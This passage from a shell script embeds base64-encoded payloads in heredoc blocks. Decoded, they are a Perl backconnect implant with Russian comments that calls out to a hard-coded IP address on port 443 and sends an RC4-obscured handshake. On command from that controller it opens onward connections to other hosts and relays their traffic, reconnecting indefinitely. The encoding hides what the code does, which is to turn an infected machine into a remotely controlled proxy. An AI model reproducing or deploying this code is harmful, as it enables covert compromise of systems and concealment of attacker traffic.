VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_27() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
